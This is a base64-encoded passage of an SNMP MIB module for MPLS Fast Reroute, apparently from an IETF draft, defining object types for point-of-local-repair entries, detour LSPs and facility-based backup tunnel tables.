IHRoaXMgb2JqZWN0IGlzIHRvIHVuaXF1ZWx5IGlkZW50aXR5IGENCiAgICAgICAgICAgdHVubmVs
IHdpdGhpbiBhIG5ldHdvcmsuIFdoZW4gdGhlIE1QTFMgc2lnbmFsbGluZw0KICAgICAgICAgICBw
cm90b2NvbCBpcyByc3ZwKDIpIHRoaXMgdmFsdWUgU0hPVUxEIG1pbWljIHRoZQ0KICAgICAgICAg
ICBFeHRlbmRlZCBUdW5uZWwgSWQgZmllbGQgaW4gdGhlIFNFU1NJT04gb2JqZWN0Lg0KICAgICAg
ICAgICBXaGVuIHRoZSBNUExTIHNpZ25hbGxpbmcgcHJvdG9jb2wgaXMgY3JsZHAoMykgdGhpcw0K
ICAgICAgICAgICB2YWx1ZSBTSE9VTEQgbWltaWMgdGhlIEluZ3Jlc3MgTFNSIFJvdXRlciBJRCBm
aWVsZA0KICAgICAgICAgICBpbiB0aGUgTFNQSUQgVExWIG9iamVjdC4iDQogICAgICAgUkVGRVJF
TkNFDQogICAgICAgICAiMS4gUlNWUC1URTogRXh0ZW5zaW9ucyB0byBSU1ZQIGZvciBMU1AgVHVu
bmVscywNCiAgICAgICAgICAgQXdkdWNoZSBldCBhbCwgUkZDIDMyMDksIERlY2VtYmVyIDIwMDEN
CiAgICAgICAgICAyLiBDb25zdHJhaW50LUJhc2VkIExTUCBTZXR1cCB1c2luZyBMRFAsIEphbW91
c3NpDQogICAgICAgICAgIChFZGl0b3IpLCBSRkMgMzIxMiwgSmFudWFyeSAyMDAyIg0KICAgICAg
IDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgMyB9DQoNCiAgICAgbXBsc0Zyck9uZTJPbmVQ
bHJUdW5FZ3JMU1JJZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc0xzcklk
ZW50aWZpZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RB
VFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJTcGVjaWZp
ZXMgdGhlIGVncmVzcyBMU1IgSUQuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50
cnkgNCB9DQoNCg0KICAgIG1wbHNGcnJPbmUyT25lUGxySWQgT0JKRUNULVRZUEUNCiAgICAgICBT
WU5UQVggICAgICAgIE1wbHNMc3JJZGVudGlmaWVyDQogICAgICAgTUFYLUFDQ0VTUyAgICBub3Qt
YWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAiVGhpcyB2YWx1ZSByZXByZXNlbnRzIHRoZSBQTFIgdGhhdCBoYXMgaW5p
dGlhdGVkIGEgZGV0b3VyIExTUA0KICAgICAgICAgdG8gcHJvdGVjdCBhIHR1bm5lbCBpbnN0YW5j
ZS4iDQogICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQbHJFbnRyeSA1IH0NCg0KICAgIG1wbHNG
cnJPbmUyT25lUGxyU2VuZGVyQWRkclR5cGUgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAg
ICAgIEluZXRBZGRyZXNzVHlwZQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1jcmVhdGUNCiAg
ICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAg
IkRlbm90ZXMgdGhlIGFkZHJlc3MgdHlwZSBvZiB0aGlzIGRldG91ciBpbnN0YW5jZSdzIHNlbmRl
cg0KICAgICAgICAgYWRkcmVzcy4iDQogICAgICAgREVGVkFMICAgICAgICB7IGlwdjQgfQ0KICAg
ICAgIDo6PSB7IG1wbHNGcnJPbmUyT25lUGxyRW50cnkgNiB9DQoNCiAgICBtcGxzRnJyT25lMk9u
ZVBsclNlbmRlckFkZHIgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIEluZXRBZGRy
ZXNzDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLWNyZWF0ZQ0KICAgICAgIFNUQVRVUyAgICAg
ICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiSWYgbXBsc0Zyck9uZTJP
bmVQbHJTZW5kZXJBZGRyVHlwZSBpcyBzZXQgdG8gaXB2NCgxKSwgdGhlbiB0aGlzIHZhbHVlDQog
ICAgICAgICB3aWxsIGNvbnRhaW4gdGhlIElQdjQgYWRkcmVzcyBvZiB0aGlzIGRldG91ciBpbnN0
YW5jZSdzIHNlbmRlci4NCiAgICAgICAgIFRoaXMgb2JqZWN0IGlzIG90aGVyd2lzZSBpbnNpZ25p
ZmljYW50IGFuZCBzaG91bGQgY29udGFpbiBhDQogICAgICAgICB2YWx1ZSBvZiAwLiINCiAgICAg
ICA6Oj0geyBtcGxzRnJyT25lMk9uZVBsckVudHJ5IDcgfQ0KDQogICAgbXBsc0Zyck9uZTJPbmVQ
bHJBdm9pZE5BZGRyVHlwZSBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW5ldEFk
ZHJlc3NUeXBlDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMg
ICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkRlbm90ZXMgdGhl
IGFkZHJlc3MgdHlwZSBvZiB0aGUgbm9kZSB0aGF0IHRoaXMgUExSIHRyaWVzIHRvDQogICAgICAg
ICBhdm9pZC4iDQogICAgICAgREVGVkFMICAgICAgICB7IGlwdjQgfQ0KICAgICAgIDo6PSB7IG1w
bHNGcnJPbmUyT25lUGxyRW50cnkgOCB9DQoNCiAgICBtcGxzRnJyT25lMk9uZVBsckF2b2lkTkFk
ZHIgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIEluZXRBZGRyZXNzDQogICAgICAg
TUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIklmIG1wbHNGcnJPbmUyT25lUGxyQXZvaWROQWRk
clR5cGUgaXMgc2V0IHRvIGlwdjQoMSksIHRoZW4gdGhpcw0KICAgICAgICAgdmFsdWUgd2lsbCBj
b250YWluIHRoZSBJUHY0IGFkZHJlc3Mgb2YgdGhlIGF2b2lkIG5vZGUuIFRoaXMNCiAgICAgICAg
IG9iamVjdCBpcyBvdGhlcndpc2UgaW5zaWduaWZpY2FudCBhbmQgc2hvdWxkIGNvbnRhaW4gYSB2
YWx1ZSBvZg0KICAgICAgICAgMC4iDQogICAgICAgOjo9IHsgbXBsc0Zyck9uZTJPbmVQbHJFbnRy
eSA5IH0NCg0KICAgIC0tIE1QTFMgT25lLVRvLU9uZSBGYXN0IFJlcm91dGUgRGV0b3VyIHRhYmxl
Lg0KDQogICAgbXBsc0ZyckRldG91clRhYmxlIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAg
ICAgICBTRVFVRU5DRSBPRiBNcGxzRnJyRGV0b3VyRW50cnkNCiAgICAgICBNQVgtQUNDRVNTICAg
IG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVT
Q1JJUFRJT04NCiAgICAgICAgICJUaGlzIHRhYmxlIHNob3dzIGRldG91ciBMU1BzLiINCiAgICAg
ICA6Oj0geyBtcGxzRnJyMXRvMU9iamVjdHMgMiB9DQoNCiAgICBtcGxzRnJyRGV0b3VyRW50cnkg
T0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNGcnJEZXRvdXJFbnRyeQ0KICAg
ICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1
cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkFuIGVudHJ5IGluIHRoaXMgdGFi
bGUgcmVwcmVzZW50cyBhIGRldG91ci4gQW4gZW50cnkgaW4gdGhpcw0KICAgICAgICAgdGFibGUg
aXMgb25seSBjcmVhdGVkIGJ5IGFuIFNOTVAgYWdlbnQgYXMgaW5zdHJ1Y3RlZCBieSBhbiBNUExT
DQogICAgICAgICBzaWduYWxpbmcgcHJvdG9jb2wuICINCiAgICAgICBJTkRFWCB7DQogICAgICAg
ICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bklkeCwgICAgICAgIC0tIGZyb20gTVBMUy1URSBN
SUINCiAgICAgICAgICAgICAgIG1wbHNGcnJPbmUyT25lUGxyVHVuRGV0b3VySW5zdCwgLS0gbXBs
c1R1bm5lbFRhYmxlDQogICAgICAgICAgICAgICBtcGxzRnJyT25lMk9uZVBsclR1bkluZ3JMU1JJ
ZCwgIC0tIFR1bm5lbHMgbXVzdCBleGlzdA0KICAgICAgICAgICAgICAgbXBsc0Zyck9uZTJPbmVQ
bHJUdW5FZ3JMU1JJZCwgICAtLSBhIHByaW9yaQ0KICAgICAgICAgIH0NCiAgICAgICA6Oj0geyBt
cGxzRnJyRGV0b3VyVGFibGUgMSB9DQoNCiAgICBNcGxzRnJyRGV0b3VyRW50cnkgOjo9IFNFUVVF
TkNFIHsNCiAgICAgICAgICBtcGxzRnJyRGV0b3VyQWN0aXZlICAgICAgICAgICAgIFRydXRoVmFs
dWUsDQogICAgICAgICAgbXBsc0ZyckRldG91ck1lcmdpbmcgICAgICAgICAgICBJTlRFR0VSLA0K
ICAgICAgICAgIG1wbHNGcnJEZXRvdXJNZXJnZWREZXRvdXJJbnN0ICAgTXBsc1R1bm5lbEluc3Rh
bmNlSW5kZXgNCiAgICB9DQoNCiAgICBtcGxzRnJyRGV0b3VyQWN0aXZlIE9CSkVDVC1UWVBFDQog
ICAgICAgU1lOVEFYICAgICAgICBUcnV0aFZhbHVlDQogICAgICAgTUFYLUFDQ0VTUyAgICByZWFk
LW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0K
ICAgICAgICAgIkluZGljYXRlcyB3aGV0aGVyIG9yIG5vdCB0aGUgbWFpbiBMU1AgaGFzIHN3aXRj
aGVkIG92ZXIgdG8gdGhpcw0KICAgICAgICAgZGV0b3VyIExTUC4gVGhpcyBpcyBvbmx5IHJlbGV2
YW50IGZvciBkZXRvdXJzIG9yaWdpbmF0ZWQgYnkNCiAgICAgICAgIHRoaXMgbm9kZS4iDQogICAg
ICAgOjo9IHsgbXBsc0ZyckRldG91ckVudHJ5IDEgfQ0KDQogICAgbXBsc0ZyckRldG91ck1lcmdp
bmcgT0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIElOVEVHRVIgeyBub25lKDApLA0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByb3RlY3RlZFR1bm5lbCgxKSwNCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICBkZXRvdXIoMikNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgfQ0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVT
ICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIHZhbHVl
IHJlcHJlc2VudHMgd2hldGhlciBvciBub3QgdGhpcyBkZXRvdXIgaXMgbWVyZ2VkLg0KICAgICAg
ICAgVGhpcyB2YWx1ZSBNVVNUIGJlIHNldCB0byBub25lKDApIGlmIHRoaXMgZGV0b3VyIGlzIG5v
dCBtZXJnZWQuDQogICAgICAgICBUaGlzIHZhbHVlIE1VU1QgYmUgc2V0IHRvIHByb3RlY3RlZFR1
bm5lbCgxKSBpZiB0aGlzIGRldG91ciBpcw0KICAgICAgICAgbWVyZ2VkIHdpdGggdGhlIHByb3Rl
Y3RlZCB0dW5uZWwuIFRoaXMgdmFsdWUgTVVTVCBiZSBzZXQgdG8NCiAgICAgICAgIGRldG91cigy
KSBpZiB0aGlzIGRldG91ciBpcyBtZXJnZWQgd2l0aCBhbm90aGVyIGRldG91cg0KICAgICAgICAg
cHJvdGVjdGluZyB0aGUgc2FtZSB0dW5uZWwuIg0KICAgICAgIDo6PSB7IG1wbHNGcnJEZXRvdXJF
bnRyeSAyIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJNZXJnZWREZXRvdXJJbnN0IE9CSkVDVC1UWVBF
DQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleA0KICAgICAgIE1B
WC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAg
ICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJUaGlzIHZhbHVlIHJlcHJlc2VudHMgdGhlIGluc3Rh
bmNlIG9mIHRoZSBkZXRvdXIgd2l0aCB3aGljaA0KICAgICAgICAgdGhpcyBkZXRvdXIgaXMgbWVy
Z2VkLiBUaGlzIG9iamVjdCBpcyBvbmx5IHZhbGlkIHdoZW4NCiAgICAgICAgIG1wbHNGcnJEZXRv
dXJNZXJnaW5nIGlzIHNldCB0byBkZXRvdXIoMikuDQoNCiAgICAgICAgIC0gbG93ZXIgMTYgYml0
cyA6IHByb3RlY3RlZCB0dW5uZWwgaW5zdGFuY2UNCiAgICAgICAgIC0gaGlnaGVyIDE2IGJpdHM6
IGRldG91ciBpbnN0YW5jZSINCiAgICAgICA6Oj0geyBtcGxzRnJyRGV0b3VyRW50cnkgMyB9DQoN
CiAgICAtLQ0KICAgIC0tIEZhY2lsaXR5LWJhc2VkIEZSUi1zcGVjaWZpYyBUYWJsZXMNCiAgICAt
LQ0KDQogICAgbXBsc0ZyckZhY1JvdXRlREJUYWJsZSBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5U
QVggICAgICAgICAgICBTRVFVRU5DRSBPRiBNcGxzRnJyRmFjUm91dGVEQkVudHJ5DQogICAgICAg
IE1BWC1BQ0NFU1MgICAgICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgIFNUQVRVUyAgICAgICAg
ICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJUaGUgbXBsc0Zy
ckRCVGFibGUgcHJvdmlkZXMgaW5mb3JtYXRpb24gYWJvdXQgdGhlIGZhc3QNCiAgICAgICAgICAg
IHJlcm91dGUgZGF0YWJhc2UuICBFYWNoIGVudHJ5IGJlbG9uZ3MgdG8gYW4gaW50ZXJmYWNlLA0K
ICAgICAgICAgICAgcHJvdGVjdGluZyBiYWNrdXAgdHVubmVsIGFuZCBwcm90ZWN0ZWQgdHVubmVs
LiBNUExTDQogICAgICAgICAgICBpbnRlcmZhY2VzIGRlZmluZWQgb24gdGhpcyBub2RlIGFyZSBw
cm90ZWN0ZWQgYnkgYmFja3VwDQogICAgICAgICAgICB0dW5uZWxzIGFuZCBhcmUgaW5kZXhlZCBi
eSBtcGxzSW50ZXJmYWNlQ29uZkluZGV4LiBCYWNrdXANCiAgICAgICAgICAgIHR1bm5lbHMgZGVm
aW5lZCB0byBwcm90ZWN0IHRoZSB0dW5uZWxzIHRyYXZlcnNpbmcgYW4NCiAgICAgICAgICAgIGlu
dGVyZmFjZSwgYW5kIGFyZSBpbmRleGVkIGJ5IG1wbHNUdW5uZWxJbmRleC4gTm90ZSB0aGF0IHRo
ZQ0KICAgICAgICAgICAgdHVubmVsIGluc3RhbmNlIGluZGV4IGlzIG5vdCByZXF1aXJlZCwgc2lu
Y2UgaXQgaXMgaW1wbGllZA0KICAgICAgICAgICAgdG8gYmUgMCwgd2hpY2ggaW5kaWNhdGVzIHRo
ZSB0dW5uZWwgaGVhZCBpbnRlcmZhY2UgZm9yIHRoZQ0KICAgICAgICAgICAgcHJvdGVjdGluZyB0
dW5uZWwuIFRoZSBwcm90ZWN0aW5nIHR1bm5lbCBpcyBkZWZpbmVkIHRvIGV4aXN0DQogICAgICAg
ICAgICBvbiB0aGUgUExSIGluIHRoZSBGUlIgc3BlY2lmaWNhdGlvbi4gIFByb3RlY3RlZCB0dW5u
ZWxzIGFyZQ0KICAgICAgICAgICAgdGhlIExTUHMgdGhhdCB0cmF2ZXJzZSB0aGUgcHJvdGVjdGVk
IGxpbmsuICBUaGVzZSBMU1BzIGFyZQ0KICAgICAgICAgICAgdW5pcXVlbHkgaWRlbnRpZmllZCBi
eSBtcGxzVHVubmVsSW5kZXgsIG1wbHNUdW5uZWxJbnN0YW5jZSwNCiAgICAgICAgICAgIG1wbHNU
dW5uZWxJbmdyZXNzTFNSSWQsIGFuZCBtcGxzVHVubmVsRWdyZXNzTFNSSWQuIg0KICAgICAgICBS
RUZFUkVOQ0UNCiAgICAgICAgICAgICJTcmluaXZhbnNhbiwgQy4sIGFuZCBBLiBWaXN3YW5hdGhh
biwgVC4gTmFkZWF1LCBNUExTIFRyYWZmaWMNCiAgICAgICAgICAgIEVuZ2luZWVyaW5nIE1hbmFn
ZW1lbnQgSW5mb3JtYXRpb24gQmFzZSBVc2luZyBTTUl2MiwNCiAgICAgICAgICAgICBkcmFmdC1p
ZXRmLW1wbHMtdGUtbWliLTA2LnR4dCAiDQoNCiAgICA6Oj0geyBtcGxzRnJyRmFjT2JqZWN0cyAx
IH0NCg0KDQogICAgbXBsc0ZyckZhY1JvdXRlREJFbnRyeSBPQkpFQ1QtVFlQRQ0KICAgICAgICBT
WU5UQVggICAgICAgICAgICBNcGxzRnJyRmFjUm91dGVEQkVudHJ5DQogICAgICAgIE1BWC1BQ0NF
U1MgICAgICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgIFNUQVRVUyAgICAgICAgICAgIGN1cnJl
bnQNCiAgICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICAgICJBbiBlbnRyeSBpbiB0aGUgbXBs
c0ZyckRCVGFibGUgcmVwcmVzZW50cyBhIHNpbmdsZSBwcm90ZWN0ZWQNCiAgICAgICAgICAgIExT
UCwgcHJvdGVjdGVkIGJ5IGEgYmFja3VwIHR1bm5lbCBhbmQgZGVmaW5lZCBmb3IgYSBzcGVjaWZp
Yw0KICAgICAgICAgICAgcHJvdGVjdGVkIGludGVyZmFjZS4gTm90ZSB0aGF0IGZvciBicmV2aXR5
LCBtYW5hZ2VycyBzaG91bGQNCiAgICAgICAgICAgIGNvbnN1bHQgdGhlIG1wbHNUdW5uZWxUYWJs
ZSBwcmVzZW50IGluIHRoZSBNUExTLVRFIE1JQiBmb3INCiAgICAgICAgICAgIGFkZGl0aW9uYWwg
aW5mb3JtYXRpb24gYWJvdXQgdGhlIHByb3RlY3RpbmcgYW5kIHByb3RlY3RlZA0KICAgICAgICAg
ICAgdHVubmVscywgYW5kIHRoZSBpZkVudHJ5IGluIHRoZSBJRi1NSUIgZm9yIHRoZSBwcm90ZWN0
ZWQNCiAgICAgICAgICAgIGludGVyZmFjZS4iDQogICAgICAgIFJFRkVSRU5DRQ0KICAgICAgICAg
ICAgIlNyaW5pdmFuc2FuLCBDLiwgYW5kIEEuIFZpc3dhbmF0aGFuLCBULiBOYWRlYXUsIE1QTFMg
TGFiZWwNCiAgICAgICAgICAgICBTd2l0Y2ggUm91dGVyIE1hbmFnZW1lbnQgSW5mb3JtYXRpb24g
QmFzZSBVc2luZyBTTUl2MiwNCiAgICAgICAgICAgICBkcmFmdC1pZXRmLW1wbHMtbHNyLW1pYi0w
Ny50eHQgU3Jpbml2YW5zYW4sIEMuLCBhbmQgQS4NCiAgICAgICAgICAgICBWaXN3YW5hdGhhbiwg
VC4gTmFkZWF1LCBNUExTIFRyYWZmaWMgRW5naW5lZXJpbmcgTWFuYWdlbWVudA0KICAgICAgICAg
ICAgIEluZm9ybWF0aW9uIEJhc2UgVXNpbmcgU01JdjIsIGRyYWZ0LWlldGYtbXBscy10ZS1taWIt
DQogICAgICAgICAgICAgMDYudHh0LiINCiAgICAgICAgSU5ERVggew0KICAgICAgICAgICAgICAg
IG1wbHNGcnJGYWNSb3V0ZVByb3RJZklkeCwgICAgICAgLS0gZnJvbSBNUExTLVRFIE1JQg0KICAg
ICAgICAgICAgICAgIG1wbHNGcnJGYWNSb3V0ZVByb3RUdW5JZHgsICAgICAgLS0gZnJvbSBNUExT
LVRFIE1JQg0KDQogICAgICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bklkeCwgICAg
ICAtLSBmcm9tIE1QTFMtVEUgTUlCDQogICAgICAgICAgICAgICAgbXBsc0ZyckZhY1JvdXRlQmt1
cFR1bkluc3QsICAgICAtLSBtcGxzVHVubmVsVGFibGUNCiAgICAgICAgICAgICAgICBtcGxzRnJy
RmFjUm91dGVCa3VwVHVuSW5nckxTUklkLCAtLSBUdW5uZWxzIG11c3QgZXhpc3QNCiAgICAgICAg
ICAgICAgICBtcGxzRnJyRmFjUm91dGVCa3VwVHVuRWdyTFNSSWQgfSAgLS0gYSBwcmlvcmkNCiAg
ICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQlRhYmxlIDEgfQ0KDQogICAgTXBsc0ZyckZhY1JvdXRl
REJFbnRyeSA6Oj0gU0VRVUVOQ0Ugew0KICAgICAgICBtcGxzRnJyRmFjUm91dGVQcm90SWZJZHgg
ICAgICAgICAgSW50ZXJmYWNlSW5kZXgsDQogICAgICAgIG1wbHNGcnJGYWNSb3V0ZVByb3RUdW5J
ZHggICAgICAgICBNcGxzVHVubmVsSW5kZXgsDQogICAgICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBU
dW5JZHggICAgICAgICBNcGxzVHVubmVsSW5kZXgsDQogICAgICAgIG1wbHNGcnJGYWNSb3V0ZUJr
dXBUdW5JbnN0ICAgICAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleCwNCiAgICAgICAgbXBsc0Zy
ckZhY1JvdXRlQmt1cFR1bkluZ3JMU1JJZCAgIE1wbHNMc3JJZGVudGlmaWVyLA0KICAgICAgICBt
cGxzRnJyRmFjUm91dGVCa3VwVHVuRWdyTFNSSWQgICAgTXBsc0xzcklkZW50aWZpZXIsDQogICAg
ICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1bk9uSWYgICBHYXVnZTMyLA0KICAgICAgICBt
cGxzRnJyRmFjUm91dGVEQk51bVByb3RUdW4gICAgICAgR2F1Z2UzMiwNCiAgICAgICAgbXBsc0Zy
ckZhY1JvdXRlREJQcm90VHVuU3RhdHVzICAgIElOVEVHRVIsDQogICAgICAgIG1wbHNGcnJGYWNS
b3V0ZURCUHJvdFR1blJlc3ZCdyAgICBVbnNpZ25lZDMyDQogICAgfQ0KDQogICAgbXBsc0ZyckZh
Y1JvdXRlUHJvdElmSWR4IE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBJbnRlcmZh
Y2VJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFU
VVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVuaXF1ZWx5
IGlkZW50aWZpZXMgdGhlIGludGVyZmFjZSBjb25maWd1cmVkIGZvciBGUlIgcHJvdGVjdGlvbi4i
DQogICAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDEgfQ0KDQogICAgbXBsc0ZyckZh
Y1JvdXRlUHJvdFR1bklkeCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgTXBsc1R1
bm5lbEluZGV4DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNU
QVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVW5pcXVl
bHkgaWRlbnRpZmllcyB0aGUgbXBsc1R1bm5lbEVudHJ5IHByaW1hcnkgaW5kZXggZm9yDQogICAg
ICAgICAgdGhlIHR1bm5lbCBoZWFkIGludGVyZmFjZSBkZXNpZ25hdGVkIHRvIHByb3RlY3QgdGhl
DQogICAgICAgICAgaW50ZXJmYWNlIGFzIHNwZWNpZmllZCBpbiB0aGUgbXBsc0ZyckZhY1JvdXRl
SWZQcm90SWR4DQogICAgICAgICAgKGFuZCBhbGwgb2YgdGhlIHR1bm5lbHMgdXNpbmcgdGhpcyBp
bnRlcmZhY2UpLiINCiAgICAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDIgfQ0KDQog
ICAgbXBsc0ZyckZhY1JvdXRlQmt1cFR1bklkeCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAg
ICAgICAgTXBsc1R1bm5lbEluZGV4DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJs
ZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAg
ICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAg
ICAgICAgYmVpbmcgcHJvdGVjdGVkIGJ5IEZSUi4iDQogICAgICAgOjo9IHsgbXBsc0ZyckZhY1Jv
dXRlREJFbnRyeSAzIH0NCg0KICAgIG1wbHNGcnJGYWNSb3V0ZUJrdXBUdW5JbnN0IE9CSkVDVC1U
WVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleA0KICAgICAg
IE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJl
bnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50aWZpZXMgYW4g
bXBsc1R1bm5lbEVudHJ5IHRoYXQgaXMNCiAgICAgICAgICBiZWluZyBwcm90ZWN0ZWQgYnkgRlJS
LiINCiAgICAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDQgfQ0KDQogICAgbXBsc0Zy
ckZhY1JvdXRlQmt1cFR1bkluZ3JMU1JJZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAg
ICAgTXBsc0xzcklkZW50aWZpZXINCiAgICAgICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxl
DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFuIG1wbHNUdW5uZWxFbnRyeSB0aGF0IGlzDQogICAg
ICAgICAgYmVpbmcgcHJvdGVjdGVkIGJ5IEZSUi4iDQogICAgICAgUkVGRVJFTkNFDQogICAgICAg
ICAiMS4gUlNWUC1URTogRXh0ZW5zaW9ucyB0byBSU1ZQIGZvciBMU1AgVHVubmVscywNCiAgICAg
ICAgICAgQXdkdWNoZSBldCBhbCwgUkZDIDMyMDksIERlY2VtYmVyIDIwMDENCiAgICAgICAgICAy
LiBDb25zdHJhaW50LUJhc2VkIExTUCBTZXR1cCB1c2luZyBMRFAsIEphbW91c3NpDQogICAgICAg
ICAgIChFZGl0b3IpLCBSRkMgMzIxMiwgSmFudWFyeSAyMDAyIg0KICAgICAgIDo6PSB7IG1wbHNG
cnJGYWNSb3V0ZURCRW50cnkgNSB9DQoNCiAgICBtcGxzRnJyRmFjUm91dGVCa3VwVHVuRWdyTFNS
SWQgIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBNcGxzTHNySWRlbnRpZmllcg0K
ICAgICAgIE1BWC1BQ0NFU1MgICAgbm90LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAg
IGN1cnJlbnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50aWZp
ZXMgYW4gbXBsc1R1bm5lbEVudHJ5IHRoYXQgaXMNCiAgICAgICAgICBiZWluZyBwcm90ZWN0ZWQg
YnkgRlJSLiINCiAgICAgICA6Oj0geyBtcGxzRnJyRmFjUm91dGVEQkVudHJ5IDYgfQ0KDQogICAg
bXBsc0ZyckZhY1JvdXRlREJOdW1Qcm90VHVuT25JZiBPQkpFQ1QtVFlQRQ0KICAgICAgICBTWU5U
QVggICAgICAgICAgICBHYXVnZTMyDQogICAgICAgIE1BWC1BQ0NFU1MgICAgICAgIHJlYWQtb25s
eQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9O
DQogICAgICAgICAgICAiVGhlIG51bWJlciBvZiBiYWNrdXAgdHVubmVscyBwcm90ZWN0aW5nIHRo
ZSBzcGVjaWZpZWQNCiAgICAgICAgICAgIGludGVyZmFjZS4iDQogICAgICAgOjo9IHsgbXBsc0Zy
ckZhY1JvdXRlREJFbnRyeSA3IH0NCg0KICAgIG1wbHNGcnJGYWNSb3V0ZURCTnVtUHJvdFR1biBP
QkpFQ1QtVFlQRQ0KICAgICAgICBTWU5UQVggICAgICAgICAgICBHYXVnZTMyDQogICAgICAgIE1B
WC1BQ0NFU1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJy
ZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiVGhlIG51bWJlciBvZiB0dW5u
